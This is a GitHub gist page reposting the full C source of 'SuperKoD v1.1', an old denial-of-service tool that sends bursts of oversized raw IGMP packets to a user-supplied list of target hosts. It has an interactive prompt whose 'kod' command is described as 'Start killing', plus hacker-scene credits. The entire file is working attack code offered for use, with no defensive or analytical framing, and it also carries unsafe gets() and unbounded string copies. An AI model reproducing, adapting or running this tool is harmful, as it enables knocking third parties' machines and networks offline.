Created
February 16, 2012 08:05
-
-
Save liamlah/1843150 to your computer and use it in GitHub Desktop.
source of superkod. Not mine
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Program made by Safety, ripped some from kod.c and gnutt.c | |
* Credits goes to dekadish(bjurr =)) for gnutt.c. | |
* | |
* This compiles on unix, should compile on windows too with cygwin. | |
* SuperKoD v1.1 | |
* You must run this as r00t. | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <netdb.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include "color.h" /* dekadish/bjurr */ | |
size_t hits = 5; | |
unsigned short port = 100; /* So what =) ? */ | |
char targets[2048][4096]; | |
char *target; | |
int kod(char *target,unsigned short port,size_t hits) | |
{ | |
struct sockaddr_in sin; | |
struct hostent *he; | |
size_t maxpkt = 15000; | |
char buf[15000]; | |
int sd; | |
if ((he = gethostbyname (target)) == NULL) { | |
printf("Unable to resolv %s\n",target); | |
return(0); | |
} | |
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length); | |
sin.sin_family = AF_INET; | |
sin.sin_port = htons (port); /*lame*/ | |
if ((sd = socket (AF_INET, SOCK_RAW, 2)) == -1) { | |
printf("Error socket\n"); | |
exit(0); | |
} | |
if (-1 == connect (sd, (struct sockaddr *)&sin, sizeof (sin))) { | |
printf("Error connecting\n"); | |
close (sd); | |
return(-1); | |
} | |
while (send (sd, buf, maxpkt, 0) == -1) { | |
if (EMSGSIZE != errno) { | |
printf("Error send()\n"); | |
close (sd); | |
exit(0); | |
} | |
maxpkt -= 1; | |
} | |
hits--; | |
printf ("%s<*>%s Sending %d bytes to [%s:%d] %s<*>%s\n",GREEN,GRAY,(hits+1)*maxpkt,he->h_name,port,GREEN,WHITE1); | |
while (hits--) { | |
usleep (50000); | |
if (send (sd, buf, maxpkt, 0) == -1) { | |
printf("Error send()\n"); | |
close (sd); | |
exit (1); | |
} | |
} | |
sleep (1); | |
close (sd); | |
return(0); | |
} | |
int chkInput(buf) | |
char buf[1024]; | |
{ | |
int x; | |
int yy = 2; | |
char *Arg; | |
char daCmd[20], daArg[230]; | |
int i=-1; | |
int wakko=-1; | |
Arg = strtok(buf, " "); | |
Arg = strtok(NULL, ""); | |
snprintf(daCmd, 15,"%s", buf); | |
snprintf(daArg, 220,"%s", Arg); | |
if (!strcmp(daCmd, "")) | |
return(0); | |
if ((!strcmp(daCmd, "kod"))) | |
{ | |
if (!strcmp(targets[0], "")) | |
{ | |
printf("No targets set. Try the 'target' command.\n"); | |
return(0); | |
} | |
while (1) | |
{ | |
wakko++; | |
if (!strcmp(targets[wakko], "")) break; | |
} | |
for(x=0;x < wakko;x++) { | |
kod(targets[x],port,hits); | |
} | |
return(0); | |
} | |
if ((!strcmp(daCmd, "QUIT")) || (!strcmp(daCmd, "quit"))) | |
{ | |
printf("\n%sThats it, have a nice day.%s\n",YELLOW,GRAY); | |
printf("\n%sGreets: alucard smugg and many others...%s\n",YELLOW,WHITE1); | |
sleep(2); | |
exit(1); | |
} | |
if((!strcmp(daCmd, "HITS")) || (!strcmp(daCmd, "hits"))) | |
{ | |
if(!strcmp(daArg, "(null)")) { | |
printf("\nhits: %d\n",hits); | |
return(0); | |
} | |
hits = atoi(daArg); | |
printf("\nhits set to: %d\n",hits); | |
return(0); | |
} | |
if((!strcmp(daCmd, "PORT")) || (!strcmp(daCmd, "port"))) | |
{ | |
if(!strcmp(daArg, "(null)")) { | |
printf("\nport to hit: %d\n",port); | |
return(0); | |
} | |
port = atoi(daArg); | |
printf("\nport set to: %d\n",port); | |
return(0); | |
} | |
if ((!strcmp(daCmd, "HELP"))|| (!strcmp(daCmd, "help"))) { | |
printf("%s<*>%s Syntax Function %s <*>\n",GREEN,RED,GREEN); | |
printf("<*>%s help Shows this %s<*>\n",GRAY,GREEN); | |
printf("<*>%s target [ <Ip1> [Ip2] ... ] Set the targets %s<*>\n",GRAY,GREEN); | |
printf("<*>%s kod Start killing %s<*>\n",GRAY,GREEN); | |
printf("<*>%s hits <n> Set number of hits %s<*>\n",GRAY,GREEN); | |
printf("<*>%s port <n> Set port to hit %s<*>\n",GRAY,GREEN); | |
printf("<*>%s quit Exit program %s<*>%s\n",GRAY,GREEN,GRAY); | |
return(0); | |
} | |
if ((!strcmp(daCmd, "TARGET")) || (!strcmp(daCmd, "target"))) | |
{ | |
int j; | |
char *pVictim; | |
char cVictim[200]; | |
if (!strcmp(daArg, "(null)")) | |
{ | |
if (!strcmp(targets[0], "")) | |
{ | |
printf(" No targets set\n"); | |
return(0); | |
} | |
printf("\nTarget(s):\n"); | |
while (1) | |
{ | |
i++; | |
if (!strcmp(targets[i], "")) break; | |
printf(" %d %s\n", (i+1), targets[i]); | |
} | |
printf("\n"); | |
} | |
for (j=0; j<201; j++) | |
strcpy(targets[j], ""); | |
i=1; | |
pVictim = strtok(daArg, " "); | |
sprintf(cVictim, "%s", pVictim); | |
strcpy(targets[0], cVictim); | |
while (1) | |
{ | |
pVictim = strtok(NULL, " "); | |
sprintf(cVictim, "%s", pVictim); | |
if (!strcmp(cVictim, "(null)")) break; | |
strcpy(targets[i], cVictim); | |
i++; | |
} | |
if(i<yy) | |
{ | |
printf(" %d target set\n", i); } | |
else | |
printf(" %d targets set\n", i); | |
} | |
else { | |
printf("%s: %sUnknown Command try%s help%s\n",daCmd,GRAY,RED,GRAY); | |
} | |
return(0); | |
} | |
void daPrompt() | |
{ | |
char daInput[10000]; | |
while (1) | |
{ | |
printf("%sSuperKoD> %s",VIOLET,WHITE1); | |
gets(daInput); | |
chkInput(daInput); | |
} | |
} | |
int main(int argc, char **argv) | |
{ | |
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n %s###### ### ### #####\n",BLUE); | |
printf("######## ### ### #######\n"); | |
printf("### ### ### ### ### ###\n"); | |
printf("### ### ### ### ###\n"); | |
printf(" ###### ## ## ###### ##### ### ### ##### ##### ### ###\n"); | |
printf(" ###### ### ### ####### ### ### ####### ##### ####### ### ###\n"); | |
printf(" ### ### ### ### ### ####### #### ### ### ### ### ### ###\n"); | |
printf("### ### ### ### ####### ### ### ### ### ### ### ### ###\n"); | |
printf("####### ####### ###### ####### ### ### ### ####### #######\n"); | |
printf(" ##### ##### ### ##### ### ### ### ##### ######\n"); | |
printf(" ### \n"); | |
printf(" ### %s v1.1 by Safety@fatelabs.com\n%s",RED,GRAY); | |
printf("\n\n\n\n%s<*>%s %sSuperKoD%s ver v1.1 made by Safety@IRCnet!%s %s<*>\n",GREEN,GRAY,BLUE,RED,GRAY,GREEN); | |
printf("\n\nTry the 'help' command\n"); | |
daPrompt(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment